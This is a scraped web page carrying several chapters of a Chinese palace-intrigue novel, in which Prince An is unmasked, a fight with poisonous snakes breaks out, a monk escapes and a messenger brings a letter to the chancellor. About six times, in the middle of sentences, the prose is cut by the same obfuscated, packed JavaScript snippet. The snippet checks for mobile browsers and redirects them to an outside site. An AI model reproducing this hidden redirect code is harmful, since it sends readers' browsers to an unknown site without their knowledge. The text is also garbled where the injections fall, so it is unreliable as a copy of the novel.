“安,安王殿下?” 不仅是影四震惊,屋中所有黑衣侍卫都肉眼可见地变了脸色! 怎么会是安王? 安王的身形不比众人记忆中的圆胖,清减了不少,眼下瞧着更是没了曾经的那份笨重,脚下轻灵,动作敏捷。 他三步并作两步走到天问大师面前站定,背着双手先往屋中看了一圈,这才将目光放到了影四的身上。 “当年,二皇兄把你指给我那好侄儿当贴身暗卫的时候,你不过也只有**岁,如今却长得这么大了,真是岁月催人老啊!” 感慨一声,安王笑着摸了摸自己的胡须,语气闲适,仿佛正在自家的花园聊家常一般。 邵威抿了抿唇。 大梁京城里的那些事情,叶晚竹这次前来南疆,已经抽空给他们讲了一遍。 安王究竟是敌是友暂且不论,这位王爷在故事里可是闭门不出,在京城外的别院住了小二十年。 可他方才那一番话,虽然是大梁话,却让邵威听出了不少南疆的口音。 安王是大梁的王,那自然是大梁人,却能说出南疆口音,只有一种可能。 他长居南疆,这是耳目濡染的结果! 影四的表情这会儿也变得非常难看。 他说的那件事发生在宫中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143760|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在先帝眼前,也就是说,站在自己面前的人,是货真价实的安王殿下! “……王爷真是好心性,好手段!” 抬起头,影四咬紧牙关,语气冷硬。 大梁人皆知安王心性淡泊,从无半点争权夺利之意。 没想到,一切都是伪装! 他竟然装了这么长时间,骗过了所有人! 看着影四眼神变幻的模样,安王又笑了笑,表情却变得冷了下去。 他早已经来到南疆,深居简出,小心埋伏多年,而留在京郊别院的那个,不过是他身边曾经的一个小厮罢了。 为了这一天,他已经等了太长时间,等到华发丛生,等到不再年富力强,等到安王的名号彻底和窝囊绑定在一起! 好在,这个机会终于来了! “好了,废话少说。” 正了正脸色,安王抬起头来,面上的笑容也隐去了。 “本王惜才,看在你们都是宫中高手的份儿上,只要尔等现在归顺,本王不仅可以饶恕你们的性命,日后,还许你们高官厚禄,保你们一辈子衣食无忧。” 听着他画的大饼,影四面上的表情没有任何变化。 “恐怕是每年七月十五交付吧?” 高官厚禄,衣食无忧? 叠成纸元宝烧到地下,谁知道他能不能收到? 安王闻言面上抽动几下,再看影四的时候,眼神又阴鸷几分。 “跟着我那好侄儿,你的嘴巴也没学好。” “总比王爷心坏了要强上那么一点儿。、” 影四又一句话顶了回去,安王面上虚情假意的笑容终于彻底消失了。 “好啊,好啊!”他换做一脸狞笑,“既然你敬酒不吃吃罚酒,那本王也不和你废话——” 安王一句话还没说完,影四骤然飞身而起,一脚将德慧小和尚踹到同伴手中,双手从背后拔出一对短刀,以雷霆万钧之势朝着安王冲了过去! 安王身形一晃,后退半步,天问大师这时候悄无声息地出现在影四背后,抬手朝着他后心就是一掌! “放信号!” 第三百六十五章 同门相见,分外眼红 险险躲过天问大师的那一掌,又听着这声音,影四回头朝屋外一看,便对上了在半空中炸开的鲜红信号! 与此同时,阵阵脚步声袭来,无数黑衣人从四面八方现身,朝着客栈这边疯狂地涌了进来! 原来在屋中弄出这么大的动静,是为了让外面的埋伏就位! “迎敌!”影四厉声喝道。 客栈里的黑衣侍卫们也动了起来,数量远比表面上能看到的多得多,顷刻间就和天问大师的手下打成了一团。 或者说,是安王的手下才对。 影四目标明确,一路追着安王,后者的轻功也十分不错,脚下点地和影四拉开一段距离,身边又立刻补上了几个侍卫。 影四上前和几人过招,只觉分外熟悉。 再看看院中,正在对打的两方人马也是你来我往,谁也占不了半分好处。 这些也是曾经的宫中暗卫? 横刀在手,影四看着被暗卫们护在身后的安王,笑容甚是冰冷。 “王爷偷桃换李也就算了,怎么还把这些人也一并带走?这未免有些不合规矩了吧?” 安王闻言也不恼,笑眯眯地捻着胡须,缩成一线的眼底却带着狠辣的光。 “这话由你说出来,是不是也有点不合规矩啊?” 影四也是曾经的三皇子暗卫,如今,还不是跟在谢无咎身边,隐姓埋名地做些见不得人的勾当? 闻言,不知道想到了什么,影四冷笑一声,没理会安王的嘲讽,举刀又杀了过去! “无知小子。” 同样冷笑着,安王懒洋洋地朝着自己的手下挥了挥手。 “全部杀光,一个不留。” 顿了顿,他又看向正和手下过招的影四,语气中带着说不出的微妙。 “你们帮着我那好侄子做了这么多坏事,把祖宗基业都毁了,竟然还死不悔改,依本王看,还是**好。” 这摆明了是要让他们当事后的替罪羊了。 影四咬了咬牙,“休想!” 下一刻,他抬手弃刀,身子一转便抽出一个不大不小的竹筒,猛地朝地上摔去! 这动作来得突然,黑衣人们起初还没有反应过来,等看到一条通体碧绿,绿到似乎在散发着幽幽光芒的蛇朝他们快速游动,这才连忙后退。 “小心!” “这蛇有毒!” 小蛇高高地昂着脑袋,不断吞吐信子,似乎是对眼前新鲜的猎物十分期待,动作又快了几分。 与此同时,影四手下的侍卫也纷纷从怀中摸出竹筒,打开之后,五彩斑斓的毒蛇瞬间将院中所剩无几的空间填满! 这些蛇动作很快,数量又多,黑衣人们有不甚中招的,顷刻间便倒了下去! 他们脸色铁青,七窍流血,不出片刻就气绝身亡了。 “呕——” 二楼的房间中,纵使被那冒牌的谢无咎死死抓住,邵威看着下方的景象,也还是控制不住地打了个哆嗦,又干呕起来。 虽然他长住南疆,这里常年蛇虫数不胜数,可他还是怕蛇! 尤其是毒蛇! 想到影四等所有人随身都带着这么一条蛇,还跟自己同桌吃饭过,邵威干呕的幅度顿时又变大了不少。 “静颜,你还在等什么?” 一声闷哼响起,天问大师挥手将守在德慧身边的两个侍卫杀死,这才沉声道。 安王将影四引了出去,眼下正是他们离开的最好时机! 静颜和尚点了点头,正要离开,表情却忽然一变。 他的两条腿不知道什么时候,竟然没了知觉! 不死心地又动了两下,麻木感沿着下半身攀升,静颜终于咬紧牙关,慌张起来,“师,师父……” 天问大师刚一恍神,便感到腰间被什么东西抵住了。 “站住,你敢动一下,我手里的**立刻就能要了你的命!” 微微带着颤抖的声音响起,林婉君手里捏着一个小巧的暗器站在天问大师身后,眼里全是憎恨。 刚刚还吐了个昏天黑地的邵威这会儿什么感觉都没有了,他瞪大双眼,难以置信地看着眼前的画面。 林婉君要挟着天问大师一步步走进屋中,又把房门关上了。 这可是天问秃驴啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149873|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 算不算在阴沟里翻了船? 邵威的思路忽然又不能自控地跑偏了。 “放开我师父!”德慧小和尚一见师父遭殃,情绪又激动起来,“我杀了你!” “德慧别动!”静颜连忙震声,“这女人来真的!” 方才他便听到隔壁屋中一响,本没在意,现在看来,那就是林婉君对自己动手的时候。 又是这个女人…… 又一次在林婉君手中遭了暗算,静颜的表情这会儿十分难看,却又带着几分微妙。 好在屋中这会儿并没人注意到他。 “天问大师,终于见到你本人了。” 林婉君又用力将那暗器往天问大师腰间按了两下,成功地感受到这位灰色袍子之下的身子变得僵硬,这才心满意足地开口。 “你要见我,有何要事?” 要害被捏住,天问大师也很快平静下来,只淡淡地目视着前方开口。 “当然,”林婉君笑了一声,显得有些阴恻恻的,“我问你,吴泽是什么时候开始听从你的命令的?” 是他成为叶晚竹的手下之后,还是从一开始,吴泽就是天问大师安插在闵镇的奸细? 吴泽叛变,对邵威来说是破口大骂几顿的事情,对影四等人,是集体提高警惕,免得再有人叛变;对于叶晚竹来说,虽然麻烦,但并不算是一件大事。 可这件事对林婉君不一样。 吴泽是她丈夫赵忠的发小,也是她的救命恩人,如果没有他那天晚上报信,说不定自己也早已经下去投胎了。 林婉君一直都是这么想的,直到吴泽叛变。 闵镇已经被天问大师彻底摧毁,吴泽和林婉君无家可归,只剩下对方是彼此过去正常生活的唯一见证者。 二人虽然不算相依为命,但联系得一直十分紧密,林婉君怎么也想不出吴泽究竟是什么时候起了变化。 她十分不能接受这个事实,左右那叫影三的侍卫也不让她离开房间,林婉君顺势把自己关在屋中,没日没夜地思索着那些理不清的想法。 结果还真让她想起了一件事—— 第三百六十六章 在阴沟里翻船的大师 “吴泽只是一个什么本事都没有的木匠,他为什么能从矿山那些人手里活着逃出来?” 林婉君从前没有细想过,只要想到那件事,便无可避免地要想起丈夫是怎么惨死的,这对她来说实在是一种折磨。 终于开始正视这件事情之后,林婉君也察觉到了不对劲。 她的丈夫赵忠参过军,平日里做木匠的时候又少不了干力气活,身体结实又会几招功夫,都没能逃过那些人的毒手,吴泽是怎么逃出来的? 就算他断了一只手,也有点太幸运了吧? 林婉君不是没怀疑过是不是自己想多了,可直觉却让她无论如何也放不下这个想法。 听着林婉君的话,天问大师静默了片刻,随即低低地笑了起来。 “你笑什么?”林婉君皱起眉头,“你说话!” 天问大师的笑声却还在响,一声盖过一声,直到笑得浑身哆嗦才缓和了势头。 他好像对自己身后的暗器毫不在意似的,朝着林婉君回头看来。 “我笑什么?” 挑着眉,天问大师的语气带着莫名的讥嘲。 “我是在笑你啊,被叶晚竹骗了这么久,直到现在还对她深信不疑!” “……你什么意思?”闻言,林婉君皱了皱眉。 天问大师又轻笑一声。 “闵镇矿山之事,从来便和贫僧没有半点关系,说起来,若不是这个叫吴泽的找上门来,我还当真不知,身上竟然有这样的一盆脏水。” “死秃驴,你什么意思?” 听到这儿,邵威忽然感到有些不妙,抢先夺过话头,“你又想干什么你?” “怎么,邵老板心虚了?”天问大师又朝着他斜晲过去。 “别动!” 静颜也狠狠勒了邵威一下,后者吃痛又是一阵猛咳,一双眼睛却还死死地盯着天问大师。 “你——” “你继续说。”邵威还没出口的话被林婉君打断了。 看着这女子一眼也不朝自己这边看,也只盯着天问大师,邵威的心一下子凉了半截。 不要吧? “你什么意思,把话说得明白一点!”林婉君又威胁地加重了手上的力气。 天问大师顿了顿,似乎是在思考,又过了片刻才轻声开口。 “你既然知道矿山,那应该也知道,这件事是当初的安王世子所为,我虽然与他合作,可私下采矿却是他背着所有人做的。” “叶晚竹发现了这件事,可她却自己有小九九,想抢占矿山里的资源,又不想留人话柄,这才有了后面的一系列事情。” “你的丈夫,还有吴泽,都是他们争夺矿山的牺牲品罢了。” “分明是自己做下的孽,叶晚竹却要推到贫僧身上,实在是好不公平。不过她自作自受,让吴泽去负责调查各种情报,吴泽在这个过程中,无意间发现了当初的真相,这才找到了我,希望我能给他的兄弟报仇。” 邵威站在一旁:…… 这瞎话,说得也太瞎了点吧! 不是天问大师闭着眼睛在胡说,他是觉得所有人才是那个瞎子,什么都看不出来! 还是傻子,对发生过的事情毫无印象,能被他牵着鼻子走! 邵威在这一刻忽然冒出一个想法,忍不住看了看站在自己身后的静颜,还有站在自己对面的德慧。 天问大师的手下连他的话都能选择相信,这些人是不是脑子都不太好? 邵威很快就明白是自己想的太简单,看得太浅了! 他还没从天问大师这一番彻头彻尾的胡说八道里回过神,就看到眼前的秃驴忽然身子一晃,反手就要夺下林婉君手里的暗器! 林婉君的神情还带着几分恍惚,邵威见状忍不住一拍大腿! 那死秃驴! 编出这么一个一听就是瞎话,却又荒唐得让人忍不住多听几句的故事,就是为了分林婉君的心! 他压根就没想过要取信林婉君,只是为了反击! “你个狗东西!” 邵威下意识地破口大骂起来,又立刻被静颜再次死死地勒住了脖颈! 天问大师这会儿对周遭的一切都不在意,他聚精会神,只朝着背后的暗器动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149874|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手。 那东西紧紧贴在后腰上,林婉君只要反应过来便会动手,他只有一次机会—— 一把扯过那精致小巧的暗器,天问大师长长地松了口气。 “林姑娘……” 笑着想转身,他却骤然僵住。 他的腿,怎么也没了知觉? 林婉君这时候绕到天问大师面前,笑着看向他笑容僵硬的模样,一把将属于自己的暗器拿了回去。 “雾雪针,据说是浮山派的法宝之一,细如牛毛,入体无知无觉,果然是真的。” 一字一句地说着话,林婉君抱起双臂,方才的犹豫不见了,只剩下满心的讥诮。 “大师,您忙着说话,想来是没时间动一动自己的腿。” “你早就动手了?” 半个身子都失去了知觉,连一动都不能动,天问大师的神情终于现出了一丝慌张。 “看来你开始不信贫僧的话。”他试着让语气云淡风轻。 林婉君又笑了笑。 “大师你可能没有发现,不是每个人都像你一样天性**卑劣,除了用些见不得人的腌臜手段,就再也没有一技之长。” 邵威的嘴角听得抽搐了两下。 这姑娘什么时候也学到了如此的口舌功夫? 那谢都督莫不是悄悄办了个学堂? 林婉君还在说着话,“我本来只是怀疑,可听了大师你的这番良苦用心,倒是能确定,吴泽叛变这件事,就是你的手笔!” “被发现了不想承认,只能顾左右而言他,又编出这么一个只有恶心人才能想到的恶心故事。” “大师,除了你,没人能干出来这样下作的事情了。” 林婉君一句接着一句,说得非常痛快,全然不顾天问大师的脸色变得有多难看! “住口!你给我住口!” 天问大师的脸色铁青,“一个乡野村妇,也敢说我**?你算什么东西!” “我不仅骂你,我还要亲手报我丈夫的仇!” 林婉君大喝一声,手中的雾雪针朝着天问大师面门便射了过去! 第三百六十七章 别追 “师父!” 邵威耳边传来一声大喊,紧接着禁锢在他身上的力道松开,一个影子嗖地一下朝着天问大师冲了过去! 静颜飞身而至,一脚踢向林婉君手腕,顺便身子横拧,一把将不能移动的天问大师扛在肩头。 “走!”他朝着傻站在一旁,早已经不知道该如何是好的德慧小和尚大喊一声,便又是一脚踢开了房门! 德慧小和尚猛地一激灵,也立刻拔腿跟了上去。 邵威得了自由,这会儿却顾不上追人,先踉踉跄跄地来到林婉君身边,把她扶起来。 静颜到底是中了雾雪针的毒,虽然解开了下半身的禁锢,力气却没恢复,那一脚只踢得林婉君摔倒在地,手中的雾雪针也掉到一边,却并未再造成什么伤害。 “我没事,快去追人!”林婉君咬牙切齿地望着那一行人离开的方向。 “不能让他们跑了!”她用力攥住邵威的衣袖。 邵威激灵灵地打了个哆嗦! “算了,我去!” 想起那一地的毒蛇,林婉君皱了皱眉头,愣是自己站起身来。 那个叫静颜的和尚和德慧要是跑了,那他们之前的努力就全都白费了! 想到这儿,林婉君更是脚下生风朝着院中而去。 “……我也去!”邵威一拍大腿,猛地跟上。 院中的打斗这会儿已经进入了不能再激烈的时候,色彩鲜艳的毒蛇依旧在四处寻找着攻击的对象,可安王的手下也已经找到了初步的解决办法。 黑衣人们从大堂搬来酒水,泼在蛇身上再点火,滋滋的炙烤声不断响起,毒蛇的数量也开始减少。 影四带着人几次试图和黑衣人们交手,可惜对方把手里的酒缸看得很近,他们都没讨到多少便宜。 “三个秃驴要跑!” 林婉君的喊声从客房二楼传来,影四闻言一怔,下意识地抬头寻找。 剑气立刻当头袭来,他急忙回身闪躲,险些被一个黑衣人一剑刺穿眼球! “别走神啊。”对方收回剑招,露出一个嘲讽意味十足的笑容。 影四眉头紧皱,出手还击,那黑衣人一招一式都带着他往和天问大师相反的方向而去。 “四哥!他们要跑!” 手下的喊声传来,影四闻言心里更急,招式也变得更加凌厉两分! 他猛地挥剑将对方黑衣人手中的长剑挑飞,正要起身去追人,眼前黑影一闪,安王又带着笑出现在他面前。 “影四,”安王笑得十分和蔼,“替本王给我那好侄子带句话,就说,人我先带走了,等时机成熟,再来找他好好叙旧。” “撤!”他又朝着院中扬声喊道。 一个黑衣人手举火把,从某处点燃,“轰”地一声,沿着客栈院墙,大火立刻便开始熊熊燃烧,将影四等人困在其中。 火光的映照之下,安王的面容有些扭曲变形,连带着笑容也变得格外阴森可怖。 “好好向你们的主子认罪吧,哈哈哈哈……” 大笑着,安王转过身子,大摇大摆地离开。 影四眉头紧蹙,攥紧手中剑柄,又深吸了一口气,正要上前和安王拼个你死我活,却忽然愣住了。 一阵不甚明显的笛声随风而来。 院中,原本还在张牙舞爪的毒蛇们纷纷偃旗息鼓,幸存着的开始往草丛石缝之间撤退。 黑衣侍卫们也听见了这声音,表情变得微妙起来。 火焰燃烧得越发旺盛,安王一行人没发现身后的异状,很快便接二连三地消失了个干干净净。 直到所有的声音都消失,影四抬起头,看到几个熟悉的影子从半空中一跃而下。 “主子!” 谢无咎手执短笛,轻飘飘地落了地,看似游刃有余,实则脚下不轻不重地歪了一下。 叶晚竹跟在他身边,见状眼底闪过一丝暗芒。 虽然嘴上说着没事,但前前后后中了这么多毒,谢无咎怎么可能安好无恙? “属下等无能,放跑了天问大师和他的徒弟。”影四这时候快步上前,单膝朝着谢无咎便要跪下。 谢无咎伸手扶了一把竟然没扶住:…… “起来吧。” 叹了口气,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149875|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将神情尽数掩下,他转动着手中的骨笛,看着安王一行人离开的方向,眼底闪过幽暗的光。 “是谁放跑的,本督心里清楚,别人邀功,你倒是喜欢给自己邀罪。” 影四低着头站起身来,眼角不住地抽抽着。 那他要如何? 难道要他质问自己的主子,为何要把对方放跑不成? “天问秃驴和那两个身上都有追踪香,”叶晚竹这时候上前一步,“不必着急,等发现他们的落脚点,我们再徐徐图之。” “眼下有一件更重要的事情,要交给你去办。”谢无咎毫无痕迹地接上话头,仿佛刚才那话是他自己说的一般。 他斜晲着影四,后者立刻又单膝跪了下去,“请主子吩咐!” “……” 谢无咎又叹了口气,颇为头疼地捏了捏眉心。 这等繁文缛节,实在多余! “我修书一封,你去收拾东西,立刻送往京城。” 收起那点心绪,谢无咎立刻恢复正经,“送到京郊的安王别院,隐月手中,这封信,只能经你们两个人的手!” 听闻此言,影四的表情也变得十分慎重。 “属下明白,属下这就去!” 谢无咎点一点头,又和叶晚竹对视一眼。 此番赴约,他们算得上是大有收获,不仅挖出了靖安侯,甚至还找到了暗藏在深处的安王。 可是如此一来,京城那边的天就要变了。 孟希越从前明着和天问大师合作,安王却一直在暗中给他使绊子,这直接导致从来没有人怀疑过安王的立场。 没想到,他竟然隐藏得如此之深。 眼下安王在他们面前暴露,无论他还要做什么,京城那边都得先知道这个消息为好。 况且……关于安王,谢无咎还有些事情需要重新调查。 一炷香后,影四带着谢无咎的亲笔信离开万源,快马加鞭地朝着京城而去。 十日之后的清晨,安王别院的大门被人从外面敲响。 “谁?” “属下来替九千岁送信。” 第三百六十八章 此信由相爷独看 护院将大门打开,看到一张陌生的脸,顿时眉头一皱,表情狐疑。 自从九千岁和威远王的车驾离开,到现在也有不短的时间了,往来书信都是通过信鸽直接送到隐月侍卫的手里,这会儿怎么好端端的,冒出来一个送信人? “可有凭据?”他的语气也充满怀疑。 站在外面的人一身黑衣短打,带着斗笠,遮住了大半张脸,只在抬头的时候才露出一双闪着精光的眼睛。 “你又是什么人?不是东厂的侍卫吧?” 这个护院愣了一下。 他确实不是东厂的人,而是倪宰相府上的护院。 这段时间以来,京城的情况已经基本得到了控制,城里那些乱七八糟的怪物被清理干净,焚烧的房屋也熄了火。 不过,为保安全,如今京城依旧在西北边军的看守之下,也依旧暂时关闭四门,不能进出。 和京城有关的一系列事情全都移到了安王别院之中,由倪宰相领着大人们暂时处理。 东厂的人负责在内院守卫,忙不过来,便把外院交给了他们这些从京中各大府邸里跟来的护院家丁等人。 不过…… “这和你有什么关系?” 护院皱了皱眉头,看着眼前的人,表情越发不善。 “说不出来意,你有问题!”他虎着脸振臂一呼,“来人!把他——”抓起来! 还没等他说完,带着斗笠的黑衣人手腕一晃,将一枚小巧的玉佩拿了出来。 上面的花纹繁复精美,中间刻着一个“谢”字。 “这是九千岁大人的私印。” 黑衣人微微皱着眉头,似乎在说这护院不识好歹。 “我奉九千岁之命前来,只和隐月接洽,你若不敢放人,将他叫出来也可以。” 顿了顿,他又加上一句,“我叫影四,他一听便知。” 这个相府的护院忍不住咽了咽口水。 眼前这位从头到脚就写着气派二字,别的不说,这股倨傲的劲头,倒的确和东厂的作风十分相似。 再看看这位影四大人,一脸的理直气壮,护院诶了一声,又打算去接过他手中的玉佩。 影四却抬手又把东西收回了袖中。 “都督贴身之物,不便落入旁人之手,见谅。” 冷冰冰地说着话,他脸上一点儿抱歉的感觉都看不出来。 护院又吃一瘪,眼角抽动两下,讪讪道,“诶,行,小的这就去给您通传。” 顿了顿,他又挂起一个讪讪的笑容。 “那个……外面人多眼杂,还请您到屋里等吧?” 影四又瞅了他一眼,没说什么,抬脚便走进院中。 这护院一边让小厮过来,把这位比大爷还大爷的侍卫往一进的花厅带,一边给站在旁边的一排家丁使了个眼色。 虽然气势十足,但这货却连个信物都不肯交出来,谁知道有没有问题? 先把人领到花厅里看好了,等他把隐月侍卫请过来,是真是假一看便知! 家丁们最近也算磨炼出了不少经验,纷纷不着痕迹地比着手势,排成两队悄悄地跟着影四的步伐。 护院见状放下心来,脚下生风地往后院中去。 下一刻,他眼前一黑,这便失去了知觉! —— “倪相爷?” 后院里,安王原先的书房之中,正忙得焦头烂额的倪宰相听见外面又传来一道声音,生无可恋地抬起头来。 书房内外这会儿都站满了人,手里举着纸张,倪宰相桌上更是满满当当的。 接下掌管京城情况的这个任务之后,倪宰相才知道日子有多难过! 怪物,**,城中的房屋倒塌,地下还有暗道! 倪宰相已快到知天命的岁数,是正宗的京城人,可如今,看着这一件件传到自己桌上的消息,他却控制不住地怀疑,自己是不是从来没有了解过这个地方! 西北边军的人将京城里里外外地彻查了一番,找到了一片暗道! 一片! 这些暗道就藏在京城地下,四通八达,像蛛网一样延展,几乎能蔓延到京城的各个区域。 甚至宫中的地下也不能幸免于难! 难怪前些日子,京城里什么东西都进得去! 这都漏得像筛子一样了! 那暗道还通往城外,追查起来更是无边无际,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161425|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完没了。 此外还有其他事情,大大小小,倪宰相从睁眼就开始处理,往往过了二更才能勉强睡下。 饶是如此,也还不停地有突发消息传来,听着对自己的呼唤,倪相爷这会儿已经没了半点感觉。 喊吧! 该来的总是要来的! 可他这次抬起头,眉头却立刻一皱。 “你是何人?” 屋里屋外还在小声讨论情况的大人们这会儿也安静了下来,纷纷看着站在院里的这个黑衣人。 带着斗笠,神神秘秘,还一身风尘仆仆的。 他们一起在安王别院待了这么久,陌生的面孔忽然出现,众人比谁都看得清楚。 有人闯进来了? 大人们下意识地就往倪宰相那边靠拢。 倪相爷也站起身准备喊人。 “相爷,小的是奉九千岁之命,来给您送信的。”赶在他出声之前,黑衣人开了口。 他语调不紧不慢,瞧着没有半点心虚的感觉,倪宰相眯了眯眼,思忖片刻道,“给我?” 叶晚竹和谢无咎离开前可是做了安排,倪宰相只管京城事务,与那边的联系,全都是由隐月和东厂的人来负责。 九千岁怎么会给他来一封信? 倪宰相的眉头又皱紧了。 “小人影四,这封信已经在隐月面前过了明路,的确是九千岁写给相爷的。” 一边说着话,影四又从怀中摸出了属于谢无咎的玉佩,“请相爷过目。” 倪宰相让人把玉佩拿了过来,对着光来来**看了几遍,的确是谢无咎的贴身物件。 所以真是谢无咎给他写了一封信? “你把信拿过来吧。”又思索了半晌,倪宰相这才点了点头。 影四却站着没动。 “九千岁亲口吩咐小的,此信中的内容先由相爷一人独看。” 这么神秘? 倪宰相的心更是打起了鼓,依言朝屋中摆摆手,“你们先回去,一会儿再说。” 房门很快关上,倪宰相这才又看向影四。 “行了吧?把信给我。” 影四一步一步地朝着书桌走去。 第三百六十九章 放他走 隐月得到消息,已经是将近半个时辰之后的事情了。 这段时间他和倪宰相分别负责处理各方事务,确认倪宰相当真没有再生二心的打算,隐月便也放心地把京城里的事情全部交给了他。 倪宰相也向来不会插手和南疆那边的消息往来,没想到,竟然被人这样钻了空子! 带着一队东厂锦衣卫,隐月气势汹汹地赶往书房,又将院落里三层,外三层地团团包围了起来。 “里面的人!立刻束手就擒,免得自讨苦吃!” 一眼便看到紧紧关着的书房门,隐月心头一紧,沉声大喝着。 “你的诡计已经败露了,赶紧出来投降!” 他话音落下,屋中也跟着响起了一阵脚步声,片刻之后,打开房门的人却赫然是倪宰相! “……相爷?” 隐月皱了皱眉,先确认了这位完好无损,等目光落到倪宰相脸上,却又是一顿。 倪宰相神情平静,并没有被胁迫的样子,看起来似乎还有些……心不在焉的? 仿佛正在思索什么大事。 不知为何,看着他的模样,隐月的心忽然咯噔了一下。 还没等他多想,又一个人影从倪宰相身后闪了出来。 “拿下!” 一看这位的身形,正好能和那个前院护院的话对上,隐月猛地拔刀要往前来! 锦衣卫们也跟着纷纷而动,下一刻,却被倪宰相抬手打断了。 “等一下!” “相爷?” 不好的预感在此时似乎要成真,隐月按下心底的惊惶,表面依旧不动声色。 “相爷,此人假借九千岁名号,混入别院传信,意图不明。”他缓缓挪动脚步上前。 “他欺瞒您府中的护院,又使计放倒一众家丁,鬼鬼祟祟,其心可诛!” 一边说着话,隐月一边观察着倪宰相的表情,见他面上没有半分波动,一颗心又止不住地往下坠落着。 这黑衣人,到底跟倪宰相说了什么? 怎么这位老大人现在看上去完全是要维护他的模样? “让他走。” 果然,倪宰相一开口,不祥的预感顿时全成了真的! 隐月神情一厉,“大人!属下方才的话,您可听到了?” “我说,放他走!” 倪宰相用力皱起两条眉毛,看着隐月的神情也很严厉。 “事急从权,他的事情的确重要,我已经知道了来龙去脉,无妨!” 这下不仅是隐月,锦衣卫们的神情也变了。 都混进别院里来了,还无妨呢? “倪相爷这是要回护此贼到底?您要和他站在一条船上?” 定了定神,隐月冷哼一声,瞬间收起了方才的模样。 他噌地一声将手中长剑抽出,两步走到倪宰相面前,剑尖直抵他胸膛! 锦衣卫们也跟着拔剑出鞘,气氛立刻变得紧张起来。 “倪相爷。” 隐月面无表情地看着他,言辞间再也没了恭敬。 “您和九千岁的契约,可不是随便就能反悔的。” 敢在这种时候掉链子,隐月不介意立刻动手,扫除障碍! 谁也不能坏主子的事! 那黑衣人盯着隐月的动作,表情本也十分难看,他正要上前,倪宰相却仿佛有后眼一眼,又摆了摆手。 “我什么时候说,要反悔了?”他淡淡地看着隐月的眼睛。 不反悔,您老人家帮着这个莫名其妙的潜入者? 隐月咬了咬牙,“休要巧舌如簧!” “他不是敌人!” 倪宰相见状也收起笑容,强调地格外认真。 “他的确不是九千岁派来的,但对于我们的局势,有很大的帮助。” 这话听在隐月耳中,摆明了就是八个大字。 欲盖弥彰! 拖延时间! “相爷若是这么有自己的想法,属下只好让您委屈一下了。”隐月面色沉沉地看着他。 倪宰相顿时冷笑起来。 “威胁我?那谁来替你们打理京城?” 隐月的表情立刻变得难看下去。 前往南疆那两位主子之所以要用倪宰相,就是因为他们离开之后,剩下这些人对朝堂之事都是一知半解,拿不住这众多的大臣们。 倪宰相原本也答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161426|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应得好好的,谁知道这会儿变卦变得这么突然! 